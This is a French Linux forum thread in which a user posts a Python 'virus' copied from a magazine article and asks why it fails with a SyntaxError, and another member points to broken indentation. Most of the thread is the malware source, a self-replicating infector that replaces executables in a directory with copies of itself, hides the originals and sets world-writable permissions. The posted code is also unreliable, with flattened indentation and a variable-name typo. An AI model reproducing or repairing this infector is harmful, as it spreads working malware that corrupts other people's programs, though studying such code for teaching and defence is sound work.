Pages : 1
#1 Le 24/02/2017, à 19:14
- DebianMaster
[Résolu] Programmation en Python
Bonjour,
J'ai programmé un "virus" en Python, suite à l'article du magazine GNU/LINUX MAGAZINE FRANCE.
Le seul problème, c'est que le Terminal m'affiche cette erreur lors du lancement:
File "easy-install.py", line 33
else:
^
SyntaxError: invalid syntax
Voici le code du fichier:
#!/usr/bin/python3
# === INFECTED ===
import os
import os.path
from sys import argv
import shutil
import stat
import random
cmd_init, cmd = ('ls', 'ls')
pathToCorrupt = '/home/clement/virus/my_bin/my_bin'
fileToCorrupt = pathToCorrupt + cmd
def isInfected(content) :
return content == b'# === INFECTED ===\n'
def bomb():
print ('BEAAAAAAAAAAH')
with open(fileToCorrupt, 'rb') as currentFile:
ftcLines = currentFile.readlines()
if isInfected (ftcLines[1]):
filenames = os.listdir(pathToCorrupt)
random.shuffle(filenames)
for cmd in filenames:
if cmd !=cmd_init and cmd[0] !='.':
with open(pathToCorrupt + cmd,'rb') as newFile:
ftcLines = newFile.readlines()
if not isInfected(ftclines[1]):
fileToCorrupt=pathToCorrupt + cmd
break
else:
print('All files already corrupted!')
exit(0)
#Debut de l'infection
try:
print('Infection in progress : command', cmd)
originalFile = pathToCorrupt + '.' + cmd
shutil.move(fileToCorrupt, originalFile)
shutil.copyfile(argv[0], fileToCorrupt)
os.chmod(fileToCorrupt, stat.S_IXUSR| stat.S_IRUSR | stat.S_IWUSR | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH | stat.S_IROTH |stat.S_IWOTH)
except:
#Probleme lors de l'infection, on restitue les donnees initiales
shutil.move(originalFile, fileToCorrupt)
exit(1)
#Bombe logique
bomb()
# === ORIGINAL ===
# Execution du code original
try:
if argv[0] != './easy-install.py':
os.system('.' + os.path.basename(argv[0]) + ' '+' '.join(argv[1:]))
except:
exit(2)
En espérant être aidé par votre communauté
DebianMaster
Dernière modification par DebianMaster (Le 24/02/2017, à 21:46)
Hors ligne
#2 Le 24/02/2017, à 20:06
- pingouinux
Re : [Résolu] Programmation en Python
Bonsoir,
C'est parce que l'indentation n'est pas correcte (break et file doivent être au même niveau).
if not isInfected(ftclines[1]):
fileToCorrupt=pathToCorrupt + cmd
break
else:
Hors ligne
#3 Le 24/02/2017, à 20:18
- DebianMaster
Re : [Résolu] Programmation en Python
Merci , je vais modifier cela.
Hors ligne
#4 Le 24/02/2017, à 20:21
- DebianMaster
Re : [Résolu] Programmation en Python
Suite à la modification, le Terminal m'affiche
File "easy-install.py", line 32
break
SyntaxError: 'break' outside loop
Que dois-je faire?
Hors ligne
#5 Le 24/02/2017, à 21:03
- pingouinux
Re : [Résolu] Programmation en Python
Il faudrait vérifier avec le programme d'origine l'indentation de la séquence en #2. Il se peut qu'elle fasse partie de la boucle commençant par :
for cmd in filenames:
.
Hors ligne
#6 Le 24/02/2017, à 21:08
- DebianMaster
Re : [Résolu] Programmation en Python
Je n'ai pas très bien saisi là...
Hors ligne
#7 Le 24/02/2017, à 21:24
- pingouinux
Re : [Résolu] Programmation en Python
Si tu as trouvé le programme dans Linux Magazine, vérifie-le.
Si tu l'as écrit toi-même, tu dois en connaître la logique et pouvoir le corriger.
Hors ligne
#8 Le 24/02/2017, à 21:36
- DebianMaster
Re : [Résolu] Programmation en Python
Le seul problème, c'est que le magazine a affiché le code sur une partie de la page et du coup je ne sais pas ce qui doit être où parce qu'il n'a pas marqué le nombre d'espaces à faire...
Hors ligne
#9 Le 24/02/2017, à 21:39
- DebianMaster
Re : [Résolu] Programmation en Python
C'est bon, problème résolu donc je vais revérifier tout ça. Merci de votre aide.
Hors ligne